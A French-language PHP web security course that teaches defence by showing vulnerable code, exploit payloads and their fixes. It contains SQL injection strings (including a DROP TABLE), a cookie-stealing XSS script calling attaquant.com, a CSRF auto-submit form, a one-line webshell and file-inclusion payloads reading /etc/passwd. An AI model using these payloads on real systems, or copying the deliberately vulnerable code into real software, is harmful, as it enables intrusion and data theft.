Les exemples de code sont en PHP pour ce cours mais la sécurité s’applique quelque soit le langage que vous utilisez. ce cours concerne les Failles, démonstrations d’exploitation et les contre-attaques.
Chaque développeur et développeuse web est un acteur de la sécurité. Une application mal sécurisée expose :
En France, la violation d’un système informatique est un délit pénal (article 323-1 du Code pénal) pouvant conduire à 2 ans d’emprisonnement et 60 000 € d’amende. Ces lois s’appliquent également aux pentesters qui opèrent sans autorisation écrite.
Cadre légal important : les démonstrations de ce cours doivent être réalisées uniquement sur des environnements de test que vous contrôlez. Attaquer un système sans autorisation est illégal.
L’OWASP (Open Web Application Security Project) est une fondation mondiale qui publie chaque année le classement des 10 risques les plus critiques pour les applications web. C’est la référence internationale en sécurité applicative.
Ce cours couvre l’intégralité du Top 10 OWASP ainsi que d’autres failles spécifiques au développement PHP.
Pour sécuriser efficacement, il faut penser comme un attaquant. Le raisonnement est systématique :
En tant que développeur.euse, chaque étape ci-dessus doit vous rappeler une contre-mesure à implémenter.
Pour les exercices pratiques, créez un environnement isolé. Ne testez jamais sur un site en production.
stack recommandée (locale) ├── PHP 8.2 (via XAMPP ou PHP-CLI) ├── MySQL 8 ├── Apache ou Nginx └── Navigateur + extension "Cookie Editor" + Burp Suite Community (proxy HTTP)
# Vérifier la version de PHP php -v # PHP 8.2.x # Lancer un serveur PHP intégré (pour les tests rapides) php -S localhost:8080 -t ./public
L’injection SQL est la faille numéro 1 des applications web depuis des décennies. Elle survient quand une entrée utilisateur est intégrée directement dans une requête SQL sans être validée ni échappée.
L’attaquant peut alors manipuler la logique de la requête pour :
<!DOCTYPE html> <html lang="fr"> <head> <meta charset="UTF-8"> <title>Connexion</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"> </head> <body class="bg-light"> <div class="container mt-5" style="max-width:400px"> <div class="card shadow"> <div class="card-body p-4"> <h3 class="card-title mb-4">🔐 Connexion</h3> <form method="POST" action="login_vulnerable.php"> <div class="mb-3"> <label class="form-label">Email</label> <input type="text" name="email" class="form-control"> </div> <div class="mb-3"> <label class="form-label">Mot de passe</label> <input type="password" name="password" class="form-control"> </div> <button type="submit" class="btn btn-primary w-100">Se connecter</button> </form> </div> </div> </div> </body> </html>
<?php // CODE VULNÉRABLE — NE PAS UTILISER EN PRODUCTION $pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', ''); $email = $_POST['email']; // Aucune validation $password = $_POST['password']; // Aucune validation // Concaténation directe dans la requête SQL $sql = "SELECT * FROM users WHERE email = '$email' AND password = '$password'"; $stmt = $pdo->query($sql); $user = $stmt->fetch(); if ($user) { echo "Bienvenue " . $user['nom']; } else { echo "Identifiants incorrects."; }
Entrons dans le champ email la valeur suivante :
' OR '1'='1
La requête SQL construite devient :
SELECT * FROM users WHERE email = '' OR '1'='1' AND password = ''
Comme '1'='1' est toujours vrai, cette requête retourne tous les utilisateurs. Le fetch() récupère le premier utilisateur — souvent l’administrateur. Connexion réussie sans connaître aucun identifiant.
'1'='1'
fetch()
Variante encore plus destructrice :
' OR 1=1; DROP TABLE users; --
La requête devient :
SELECT * FROM users WHERE email = '' OR 1=1; DROP TABLE users; -- ' AND password = ''
Le -- est un commentaire SQL qui neutralise la fin de la requête originale.
--
Si l’application affiche des résultats de la base, l’attaquant peut utiliser UNION SELECT :
UNION SELECT
' UNION SELECT 1, user(), database(), version(), 5 --
Cette payload révèle le nom d’utilisateur MySQL, le nom de la base et la version du serveur. À partir de là, l’attaquant peut extraire toute la structure de la base via information_schema.
information_schema
<?php // CODE SÉCURISÉ — Requêtes préparées avec PDO $pdo = new PDO( 'mysql:host=localhost;dbname=demo;charset=utf8mb4', 'root', '', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, // ✅ Requêtes vraiment préparées ] ); $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; // La requête est compilée AVANT d'insérer les paramètres $stmt = $pdo->prepare( "SELECT * FROM users WHERE email = :email LIMIT 1" ); $stmt->execute([':email' => $email]); $user = $stmt->fetch(); // Vérification du mot de passe hashé (voir chapitre 6) if ($user && password_verify($password, $user['password_hash'])) { session_regenerate_id(true); // ✅ Prévention fixation de session $_SESSION['user_id'] = $user['id']; header('Location: dashboard.php'); exit; } else { $erreur = "Identifiants incorrects."; }
Avec les requêtes préparées, les paramètres sont transmis séparément de la requête. Le moteur SQL les traite comme de la data pure, jamais comme du code. L’injection devient impossible.
PDO::ATTR_EMULATE_PREPARES => false est crucial. Avec l’émulation activée (valeur par défaut), PDO simule les requêtes préparées côté PHP, ce qui laisse une fenêtre de vulnérabilité. Désactivez toujours l’émulation.
PDO::ATTR_EMULATE_PREPARES => false
<?php // Validation stricte des entrées AVANT la requête function validerEmail(string $email): string { $email = trim($email); $email = filter_var($email, FILTER_SANITIZE_EMAIL); if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { throw new InvalidArgumentException("Format d'email invalide."); } if (strlen($email) > 254) { throw new LengthException("Email trop long."); } return $email; } try { $email = validerEmail($_POST['email'] ?? ''); } catch (Exception $e) { $erreur = "Entrée invalide."; // Ne pas exposer le détail // Logger l'erreur en interne }
La second-order injection est une variante sournoise : les données malveillantes sont d’abord stockées dans la base (correctement échappées), puis réutilisées dans une autre requête sans être de nouveau protégées.
// Scénario : l'administrateur récupère un nom d'utilisateur de la BDD // et l'utilise dans une nouvelle requête non préparée $nomUtilisateur = $row['username']; // vient de la BDD, "semble" sûr // Mais si username contient : admin'-- $sql = "SELECT * FROM logs WHERE username = '$nomUtilisateur'"; // INJECTION malgré le fait que la donnée vienne de la BDD !
Règle absolue : toute donnée externe (y compris issue de la base de données) doit être traitée via une requête préparée.
Le XSS (Cross-Site Scripting) permet à un attaquant d’injecter du JavaScript dans les pages web vues par d’autres utilisateurs. Il en existe 3 types :
Les conséquences possibles : vol de cookies de session, redirection vers un site de phishing, keylogger, défacement, cryptomining, propagation virale.
<?php // CODE VULNÉRABLE — Reflected XSS // URL : /recherche.php?q=<script>alert('XSS')</script> $recherche = $_GET['q'] ?? ''; echo "<p>Résultats pour : " . $recherche . "</p>"; // Le script est injecté directement dans le HTML
Payload de démonstration dans l’URL :
/recherche.php?q=<script>alert(document.cookie)</script>
Le navigateur affiche une alerte avec les cookies de session. Un attaquant envoie ce lien à une victime. Quand elle clique, ses cookies sont envoyés au serveur de l’attaquant.
<?php // CODE VULNÉRABLE — Stored XSS dans un commentaire $pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', ''); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $commentaire = $_POST['commentaire']; // ❌ Pas de nettoyage $stmt = $pdo->prepare("INSERT INTO commentaires (texte) VALUES (?)"); $stmt->execute([$commentaire]); } // Affichage $stmt = $pdo->query("SELECT texte FROM commentaires"); while ($row = $stmt->fetch()) { echo "<p>" . $row['texte'] . "</p>"; // ❌ Injection dans le HTML }
Un attaquant soumet ce commentaire :
<script> fetch('https://attaquant.com/steal?c=' + document.cookie); </script>
Ce script s’exécute dans le navigateur de chaque visiteur qui consulte la page. Leurs cookies sont exfiltrés vers le serveur de l’attaquant.
<?php // CODE SÉCURISÉ // Fonction centrale d'échappement function e(string $valeur): string { return htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } // Reflected XSS corrigé $recherche = $_GET['q'] ?? ''; echo "<p>Résultats pour : " . e($recherche) . "</p>"; // Stored XSS corrigé — Échappement à l'affichage $stmt = $pdo->query("SELECT texte FROM commentaires"); while ($row = $stmt->fetch()) { echo "<p>" . e($row['texte']) . "</p>"; }
Règle fondamentale : n’échappez pas à la saisie, mais à l’affichage, dans le bon contexte. Un texte affiché dans du HTML, dans un attribut HTML, dans du JavaScript ou dans du CSS nécessite un échappement différent.
<?php $valeur = $_GET['input'] ?? ''; // Contexte HTML (corps de balise) echo "<p>" . htmlspecialchars($valeur, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "</p>"; // Contexte attribut HTML echo '<input type="text" value="' . htmlspecialchars($valeur, ENT_QUOTES, 'UTF-8') . '">'; // Contexte JavaScript // NE PAS faire : echo "<script>var x = '$valeur';</script>"; // Passer par JSON encode pour les valeurs JS $valeurJs = json_encode($valeur, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP); echo "<script>var x = $valeurJs;</script>"; // Contexte URL echo '<a href="' . htmlspecialchars('page.php?ref=' . urlencode($valeur)) . '">Lien</a>';
La CSP est un en-tête HTTP qui dit au navigateur quelles sources de scripts sont autorisées. Même si un XSS est injecté, le navigateur refuse de l’exécuter si la source n’est pas dans la whitelist.
<?php // En-tête CSP dans chaque page PHP header("Content-Security-Policy: " . "default-src 'self'; " . "script-src 'self' https://cdn.jsdelivr.net; " . "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " . "img-src 'self' data: https:; " . "font-src 'self' https://fonts.gstatic.com; " . "connect-src 'self'; " . "frame-ancestors 'none'; " . "base-uri 'self'; " . "form-action 'self';" );
<!-- Équivalent en balise meta (moins recommandé) --> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
'unsafe-inline' dans script-src annule la protection contre le XSS. Évitez-le pour les scripts. Utilisez des nonces si vous avez besoin de scripts inline.
'unsafe-inline'
script-src
// VULNÉRABLE — DOM XSS // URL : /page.html#<img src=x onerror=alert(1)> const hash = location.hash.substring(1); document.getElementById('output').innerHTML = hash; // injection dans le DOM // SÉCURISÉ const hash = location.hash.substring(1); document.getElementById('output').textContent = hash; // textContent échappe automatiquement // Si vous devez manipuler le HTML const div = document.getElementById('output'); div.textContent = ''; // Vider const texte = document.createTextNode(hash); // Créer un nœud texte div.appendChild(texte); // Pas d'interprétation HTML
Le CSRF (Cross-Site Request Forgery) force le navigateur d’un utilisateur authentifié à effectuer une action non voulue sur un site web. Le navigateur envoie automatiquement les cookies de session, ce qui rend la requête légitime aux yeux du serveur.
Scénario d’attaque :
<?php // CODE VULNÉRABLE — Pas de protection CSRF // Action : changer l'email de l'utilisateur connecté session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_SESSION['user_id'])) { $nouvelEmail = $_POST['email'] ?? ''; // Aucune vérification que la requête vient bien de notre site $pdo = new PDO('mysql:host=localhost;dbname=demo', 'root', ''); $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?"); $stmt->execute([$nouvelEmail, $_SESSION['user_id']]); echo "Email mis à jour : " . htmlspecialchars($nouvelEmail); }
<!-- Sur un site attaquant : attaquant.com/piege.html --> <!-- Ce formulaire se soumet automatiquement au chargement de la page --> <html> <body> <form id="csrf" method="POST" action="https://votresite.com/compte/email.php" style="display:none"> <input type="email" name="email" value="hacker@attaquant.com"> </form> <script>document.getElementById('csrf').submit();</script> </body> </html>
Quand la victime ouvre cette page, son email est changé à son insu. L’attaquant peut ensuite utiliser la fonctionnalité “mot de passe oublié” pour prendre le contrôle du compte.
<?php // Génération et stockage du token CSRF session_start(); function genererTokenCsrf(): string { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 64 caractères hex } return $_SESSION['csrf_token']; } function verifierTokenCsrf(string $tokenRecu): bool { $tokenAttendu = $_SESSION['csrf_token'] ?? ''; // hash_equals évite les attaques timing return hash_equals($tokenAttendu, $tokenRecu); }
<!-- Formulaire sécurisé avec token CSRF --> <form method="POST" action="email.php"> <!-- Token caché dans chaque formulaire --> <input type="hidden" name="csrf_token" value="<?= htmlspecialchars(genererTokenCsrf()) ?>"> <input type="email" name="email" class="form-control" required> <button type="submit" class="btn btn-primary">Mettre à jour</button> </form>
<?php // Vérification côté serveur session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $tokenRecu = $_POST['csrf_token'] ?? ''; if (!verifierTokenCsrf($tokenRecu)) { http_response_code(403); die('Requête invalide — token CSRF manquant ou incorrect.'); } // Token validé → traitement de la requête $nouvelEmail = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL); if (!$nouvelEmail) { die("Email invalide."); } $stmt = $pdo->prepare("UPDATE users SET email = ? WHERE id = ?"); $stmt->execute([$nouvelEmail, $_SESSION['user_id']]); // Régénérer le token après usage (token à usage unique) unset($_SESSION['csrf_token']); header('Location: compte.php?msg=email_mis_a_jour'); exit; }
// En-tête personnalisé pour les requêtes AJAX // Les requêtes cross-origin ne peuvent pas ajouter d'en-têtes personnalisés // Dans votre JavaScript fetch('/api/update-email', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content }, body: JSON.stringify({ email: 'nouvel@email.com' }) });
<!-- Token dans une balise meta pour les requêtes AJAX --> <meta name="csrf-token" content="<?= htmlspecialchars(genererTokenCsrf()) ?>">
<?php // Validation du token CSRF dans l'API $tokenHeader = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? ''; if (!verifierTokenCsrf($tokenHeader)) { http_response_code(403); echo json_encode(['error' => 'CSRF token invalide']); exit; }
<?php // Configurer le cookie de session avec SameSite=Strict session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'domain' => '', 'secure' => true, // Uniquement en HTTPS 'httponly' => true, // Inaccessible en JavaScript 'samesite' => 'Strict', // Bloque l'envoi cross-site ]); session_start();
SameSite=Strict bloque l’envoi du cookie dans toutes les requêtes cross-site, même les liens. SameSite=Lax (valeur par défaut dans les navigateurs modernes) est moins restrictif mais protège contre la plupart des CSRF POST. Ces attributs ne remplacent pas les tokens CSRF — ils se cumulent.
SameSite=Strict
SameSite=Lax
<?php // CODE VULNÉRABLE — Pas de limitation de tentatives $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; $stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$email]); $user = $stmt->fetch(); if ($user && password_verify($password, $user['password_hash'])) { $_SESSION['user_id'] = $user['id']; header('Location: /dashboard'); } else { echo "Identifiants incorrects."; // Message différencié possible } // ❌ Aucune limitation → attaque bruteforce possible
Un attaquant peut tenter des millions de combinaisons avec des outils comme Hydra ou Burp Suite Intruder.
<?php // Protection contre le bruteforce session_start(); class AuthManager { private PDO $pdo; private const MAX_TENTATIVES = 5; private const DELAI_BLOCAGE = 900; // 15 minutes public function __construct(PDO $pdo) { $this->pdo = $pdo; } public function estBloqueParIP(string $ip): bool { $stmt = $this->pdo->prepare( "SELECT COUNT(*) FROM login_attempts WHERE ip_address = ? AND tentative_at > DATE_SUB(NOW(), INTERVAL ? SECOND) AND succes = 0" ); $stmt->execute([$ip, self::DELAI_BLOCAGE]); return $stmt->fetchColumn() >= self::MAX_TENTATIVES; } public function enregistrerTentative(string $ip, string $email, bool $succes): void { $stmt = $this->pdo->prepare( "INSERT INTO login_attempts (ip_address, email, succes, tentative_at) VALUES (?, ?, ?, NOW())" ); $stmt->execute([$ip, $email, $succes ? 1 : 0]); } public function connecter(string $email, string $password): ?array { $ip = $_SERVER['REMOTE_ADDR']; if ($this->estBloqueParIP($ip)) { // Message générique — ne pas indiquer la raison précise throw new RuntimeException("Trop de tentatives. Réessayez dans 15 minutes."); } // Message d'erreur identique que l'email existe ou non $stmt = $this->pdo->prepare("SELECT * FROM users WHERE email = ? LIMIT 1"); $stmt->execute([$email]); $user = $stmt->fetch(); $passwordValide = $user && password_verify($password, $user['password_hash']); $this->enregistrerTentative($ip, $email, $passwordValide); if (!$passwordValide) { // Délai artificiel pour ralentir le bruteforce et les attaques timing usleep(random_int(100000, 300000)); // 0.1 à 0.3 secondes return null; } return $user; } }
-- Table de journalisation des tentatives CREATE TABLE login_attempts ( id INT AUTO_INCREMENT PRIMARY KEY, ip_address VARCHAR(45) NOT NULL, email VARCHAR(254) NOT NULL, succes TINYINT(1) NOT NULL DEFAULT 0, tentative_at DATETIME NOT NULL, INDEX idx_ip_date (ip_address, tentative_at) );
<?php // Configuration sécurisée des sessions // Avant session_start(), dans chaque page ini_set('session.use_strict_mode', '1'); // Rejette les ID de session non générés par le serveur ini_set('session.use_only_cookies', '1'); // Session uniquement via cookie, pas URL ini_set('session.cookie_httponly', '1'); // Cookie inaccessible en JS ini_set('session.cookie_secure', '1'); // Cookie uniquement en HTTPS ini_set('session.cookie_samesite', 'Strict'); ini_set('session.gc_maxlifetime', '1800'); // 30 minutes d'inactivité session_start(); // Après la connexion réussie : régénérer l'ID de session function connecterUtilisateur(array $user): void { session_regenerate_id(true); // Détruit l'ancienne session, crée une nouvelle $_SESSION['user_id'] = $user['id']; $_SESSION['user_email'] = $user['email']; $_SESSION['user_role'] = $user['role']; $_SESSION['connexion_ip'] = $_SERVER['REMOTE_ADDR']; $_SESSION['connexion_ua'] = $_SERVER['HTTP_USER_AGENT'] ?? ''; $_SESSION['derniere_activite'] = time(); } // Vérification de la validité de session à chaque page function verifierSession(): void { if (!isset($_SESSION['user_id'])) { header('Location: /login.php'); exit; } // Expiration par inactivité if (time() - ($_SESSION['derniere_activite'] ?? 0) > 1800) { session_destroy(); header('Location: /login.php?expire=1'); exit; } // Vérification de cohérence IP + User-Agent (détection de hijacking basique) if ($_SESSION['connexion_ip'] !== $_SERVER['REMOTE_ADDR']) { // Journaliser la tentative suspecte session_destroy(); header('Location: /login.php?suspicious=1'); exit; } $_SESSION['derniere_activite'] = time(); }
<?php // Déconnexion complète function deconnecter(): void { session_start(); // 1. Vider les données de session $_SESSION = []; // 2. Supprimer le cookie de session if (ini_get("session.use_cookies")) { $params = session_get_cookie_params(); setcookie( session_name(), '', time() - 42000, $params['path'], $params['domain'], $params['secure'], $params['httponly'] ); } // 3. Détruire la session côté serveur session_destroy(); header('Location: /login.php?deconnecte=1'); exit; }
<?php // ERREURS CRITIQUES DE GESTION DES MOTS DE PASSE // Stocker en clair $password_en_clair = $_POST['password']; $sql = "INSERT INTO users (password) VALUES ('$password_en_clair')"; // Utiliser MD5 (cassable en millisecondes avec des rainbow tables) $hash = md5($_POST['password']); // Utiliser SHA1 (idem) $hash = sha1($_POST['password']); // Utiliser SHA256 sans sel (vulnérable aux rainbow tables) $hash = hash('sha256', $_POST['password']); // Utiliser un sel faible ou prévisible $hash = hash('sha256', 'monsitesel' . $_POST['password']);
Les algorithmes MD5 et SHA1 ne sont pas des algorithmes de hachage de mots de passe. Ils sont conçus pour être rapides, ce qui les rend vulnérables au bruteforce. Un GPU moderne teste plusieurs milliards de MD5 par seconde.
<?php // Utiliser password_hash() — BCRYPT par défaut (PHP 5.5+) $hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]); // Ou Argon2id (recommandé pour PHP 7.3+) $hash = password_hash($_POST['password'], PASSWORD_ARGON2ID, [ 'memory_cost' => 65536, // 64 Mo de RAM 'time_cost' => 4, // 4 itérations 'threads' => 3, ]); // Ou utiliser PASSWORD_DEFAULT (algorithme recommandé par PHP, évolue entre les versions) $hash = password_hash($_POST['password'], PASSWORD_DEFAULT); // La valeur par défaut de PHP 8 est PASSWORD_BCRYPT avec cost=10 // Vérifier un mot de passe if (password_verify($motDePasseSaisi, $hashEnBase)) { // Connexion autorisée } // Détecter si le hash doit être mis à jour (après changement d'algo ou de paramètres) if (password_needs_rehash($hashEnBase, PASSWORD_ARGON2ID)) { $nouveauHash = password_hash($motDePasseSaisi, PASSWORD_ARGON2ID); // Mettre à jour en base }
password_hash() génère automatiquement un sel aléatoire et l’inclut dans la chaîne de hash. Vous n’avez pas besoin de gérer le sel manuellement. Le hash résultant contient l’algorithme, le coût, le sel et le hash : $2y$12$sel...hash....
password_hash()
$2y$12$sel...hash...
<?php // Validation de la politique de mot de passe function validerMotDePasse(string $password): array { $erreurs = []; if (strlen($password) < 12) { $erreurs[] = "Le mot de passe doit contenir au moins 12 caractères."; } if (!preg_match('/[A-Z]/', $password)) { $erreurs[] = "Au moins une lettre majuscule requise."; } if (!preg_match('/[a-z]/', $password)) { $erreurs[] = "Au moins une lettre minuscule requise."; } if (!preg_match('/[0-9]/', $password)) { $erreurs[] = "Au moins un chiffre requis."; } if (!preg_match('/[\W_]/', $password)) { $erreurs[] = "Au moins un caractère spécial requis."; } // Vérifier contre une liste de mots de passe communs $motsDePasse_courants = ['password123', '123456789', 'motdepasse', 'qwerty123']; if (in_array(strtolower($password), $motsDePasse_courants)) { $erreurs[] = "Ce mot de passe est trop commun."; } return $erreurs; }
<!-- Indicateur visuel de force côté client (complément, pas substitut) --> <div class="mb-3"> <label for="password" class="form-label">Mot de passe</label> <input type="password" id="password" name="password" class="form-control" minlength="12" required> <div id="password-strength" class="progress mt-1" style="height:5px"> <div id="strength-bar" class="progress-bar" role="progressbar" style="width:0%"></div> </div> <small id="strength-text" class="form-text text-muted"></small> </div> <script> document.getElementById('password').addEventListener('input', function() { const pwd = this.value; let score = 0; let couleur = 'bg-danger'; let texte = 'Très faible'; if (pwd.length >= 8) score++; if (pwd.length >= 12) score++; if (/[A-Z]/.test(pwd)) score++; if (/[a-z]/.test(pwd)) score++; if (/[0-9]/.test(pwd)) score++; if (/[\W_]/.test(pwd)) score++; if (score >= 5) { couleur = 'bg-success'; texte = 'Fort'; } else if (score >= 3) { couleur = 'bg-warning'; texte = 'Moyen'; } const bar = document.getElementById('strength-bar'); bar.style.width = (score / 6 * 100) + '%'; bar.className = 'progress-bar ' + couleur; document.getElementById('strength-text').textContent = texte; }); </script>
<?php // Génération d'un token de réinitialisation sécurisé function genererTokenReinit(int $userId, PDO $pdo): string { $token = bin2hex(random_bytes(32)); // Token de 64 caractères $tokenHash = hash('sha256', $token); // Stocker le hash, pas le token brut $expiration = date('Y-m-d H:i:s', time() + 3600); // 1 heure // Invalider les anciens tokens $pdo->prepare("DELETE FROM password_resets WHERE user_id = ?")->execute([$userId]); $stmt = $pdo->prepare( "INSERT INTO password_resets (user_id, token_hash, expires_at) VALUES (?, ?, ?)" ); $stmt->execute([$userId, $tokenHash, $expiration]); return $token; // Envoyer le token brut par email } function reinitialiserMotDePasse(string $token, string $nouveauPassword, PDO $pdo): bool { $tokenHash = hash('sha256', $token); $stmt = $pdo->prepare( "SELECT user_id FROM password_resets WHERE token_hash = ? AND expires_at > NOW() AND utilise = 0" ); $stmt->execute([$tokenHash]); $row = $stmt->fetch(); if (!$row) { return false; // Token invalide ou expiré } $erreurs = validerMotDePasse($nouveauPassword); if (!empty($erreurs)) { return false; } $hash = password_hash($nouveauPassword, PASSWORD_ARGON2ID); $pdo->prepare("UPDATE users SET password_hash = ? WHERE id = ?") ->execute([$hash, $row['user_id']]); // Marquer le token comme utilisé (évite la réutilisation) $pdo->prepare("UPDATE password_resets SET utilise = 1 WHERE token_hash = ?") ->execute([$tokenHash]); return true; }
L’upload de fichiers est l’une des fonctionnalités les plus dangereuses d’une application web. Les risques sont :
../../../etc/passwd
image.php.jpg
<?php // CODE VULNÉRABLE — Upload sans contrôles if ($_SERVER['REQUEST_METHOD'] === 'POST') { $fichier = $_FILES['fichier']; // Confiance aveugle au nom original $nomFichier = $fichier['name']; // Confiance au type MIME déclaré par le navigateur (falsifiable) $typeMime = $fichier['type']; // Stockage dans un dossier accessible publiquement move_uploaded_file($fichier['tmp_name'], 'uploads/' . $nomFichier); echo "Fichier uploadé : uploads/" . $nomFichier; }
Un attaquant upload un fichier shell.php :
shell.php
<?php // Webshell minimaliste if (isset($_GET['cmd'])) { system($_GET['cmd']); }
Il accède ensuite à https://votresite.com/uploads/shell.php?cmd=ls -la et peut exécuter n’importe quelle commande sur le serveur.
https://votresite.com/uploads/shell.php?cmd=ls -la
<?php // UPLOAD SÉCURISÉ class UploadSecurise { private const TYPES_AUTORISES = [ 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/webp' => 'webp', ]; private const TAILLE_MAX = 5 * 1024 * 1024; // 5 Mo private const DOSSIER_UPLOAD = __DIR__ . '/../storage/uploads/'; // Hors du dossier public public function upload(array $fichier): string { // 1. Vérifier les erreurs PHP if ($fichier['error'] !== UPLOAD_ERR_OK) { throw new RuntimeException("Erreur lors de l'upload : " . $fichier['error']); } // 2. Vérifier la taille if ($fichier['size'] > self::TAILLE_MAX) { throw new RuntimeException("Fichier trop volumineux (max 5 Mo)."); } // 3. Vérifier le type MIME RÉEL (pas le type déclaré par le navigateur) $finfo = new finfo(FILEINFO_MIME_TYPE); $typeMime = $finfo->file($fichier['tmp_name']); if (!array_key_exists($typeMime, self::TYPES_AUTORISES)) { throw new RuntimeException("Type de fichier non autorisé : $typeMime"); } // 4. Pour les images : vérifier que c'est une vraie image if (str_starts_with($typeMime, 'image/')) { if (!getimagesize($fichier['tmp_name'])) { throw new RuntimeException("Le fichier n'est pas une image valide."); } } // 5. Générer un nom de fichier aléatoire (jamais utiliser le nom original) $extension = self::TYPES_AUTORISES[$typeMime]; $nomSecurise = bin2hex(random_bytes(16)) . '.' . $extension; // 6. Créer le dossier si nécessaire if (!is_dir(self::DOSSIER_UPLOAD)) { mkdir(self::DOSSIER_UPLOAD, 0755, true); } // 7. Déplacer vers le dossier sécurisé (hors public/) $destination = self::DOSSIER_UPLOAD . $nomSecurise; if (!move_uploaded_file($fichier['tmp_name'], $destination)) { throw new RuntimeException("Impossible de déplacer le fichier."); } return $nomSecurise; } }
<?php // Servir les fichiers uploadés via un script PHP (jamais directement) // serve_image.php?f=abc123.jpg $nom = basename($_GET['f'] ?? ''); // basename() supprime les path traversal (../) // Valider le format du nom if (!preg_match('/^[a-f0-9]{32}\.(jpg|png|gif|webp)$/', $nom)) { http_response_code(400); exit('Fichier invalide.'); } $chemin = __DIR__ . '/../storage/uploads/' . $nom; if (!file_exists($chemin)) { http_response_code(404); exit('Fichier non trouvé.'); } // Envoyer avec les bons en-têtes $finfo = new finfo(FILEINFO_MIME_TYPE); header('Content-Type: ' . $finfo->file($chemin)); header('Content-Length: ' . filesize($chemin)); header('X-Content-Type-Options: nosniff'); // Empêche le sniffing de type readfile($chemin);
# .htaccess dans le dossier uploads/ (sécurité supplémentaire) # Interdire l'exécution de scripts dans le dossier uploads <FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar|cgi|pl|py|rb)$"> Require all denied </FilesMatch> # Forcer le Content-Type pour éviter le sniffing <FilesMatch "\.(jpg|jpeg|png|gif|webp)$"> Header set X-Content-Type-Options nosniff </FilesMatch> Options -ExecCGI AddHandler cgi-script .php .phtml .phar
<?php // CODE VULNÉRABLE — Inclusion dynamique sans validation $page = $_GET['page'] ?? 'accueil'; include $page . '.php'; // Injection triviale
Payloads d’attaque :
# Lire le fichier de configuration /page.php?page=../../../etc/passwd # Lire un fichier PHP encodé en Base64 via le wrapper PHP /page.php?page=php://filter/convert.base64-encode/resource=../config/db # Exécuter du code via les logs empoisonnés # (si l'attaquant a pu injecter du PHP dans les logs Apache) /page.php?page=../../../var/log/apache2/access.log
<?php // CORRECTION — Whitelist stricte des pages autorisées const PAGES_AUTORISEES = [ 'accueil' => 'pages/accueil.php', 'contact' => 'pages/contact.php', 'a-propos' => 'pages/a-propos.php', 'catalogue' => 'pages/catalogue.php', ]; $pageDemandee = $_GET['page'] ?? 'accueil'; // Vérification stricte dans la whitelist if (!array_key_exists($pageDemandee, PAGES_AUTORISEES)) { http_response_code(404); include 'pages/404.php'; exit; } // On utilise le chemin défini par le développeur, jamais l'entrée utilisateur include PAGES_AUTORISEES[$pageDemandee];
<?php // Pour les chemins dynamiques : vérifier le chemin réel avec realpath() function inclureTemplate(string $nom): void { $baseDir = realpath(__DIR__ . '/templates'); $chemin = realpath($baseDir . '/' . basename($nom) . '.php'); // S'assurer que le fichier résolu est bien dans le dossier templates/ if ($chemin === false || !str_starts_with($chemin, $baseDir)) { throw new InvalidArgumentException("Tentative de path traversal détectée."); } if (!file_exists($chemin)) { throw new RuntimeException("Template introuvable."); } include $chemin; }
Les en-têtes HTTP de sécurité informent le navigateur sur le comportement attendu et réduisent la surface d’attaque. Voici les plus importants.
<?php // Centralisez ces en-têtes dans un fichier inclus sur chaque page // ou dans votre front controller (index.php) function appliquerEntetesSécurité(): void { // Force HTTPS pour les prochaines visites (1 an) header("Strict-Transport-Security: max-age=31536000; includeSubDomains; preload"); // Empêche le navigateur de "deviner" le type MIME header("X-Content-Type-Options: nosniff"); // Contrôle l'affichage dans des iframes (prévention clickjacking) header("X-Frame-Options: DENY"); // Active la protection XSS du navigateur (navigateurs anciens) header("X-XSS-Protection: 1; mode=block"); // Contrôle les informations de référent envoyées header("Referrer-Policy: strict-origin-when-cross-origin"); // Contrôle les fonctionnalités du navigateur (caméra, micro, géoloc…) header("Permissions-Policy: camera=(), microphone=(), geolocation=()"); // Content Security Policy (personnalisez selon vos besoins) header("Content-Security-Policy: " . "default-src 'self'; " . "script-src 'self' https://cdn.jsdelivr.net; " . "style-src 'self' https://cdn.jsdelivr.net 'unsafe-inline'; " . "img-src 'self' data: https:; " . "frame-ancestors 'none'; " . "base-uri 'self'; " . "form-action 'self';" ); // Supprimer les en-têtes qui révèlent la technologie utilisée header_remove("X-Powered-By"); // PHP/8.2.x header_remove("Server"); // Apache/2.4.x ou Nginx/1.x } appliquerEntetesSécurité();
Testez vos en-têtes sur https://securityheaders.com. L’objectif est d’obtenir la note A+.
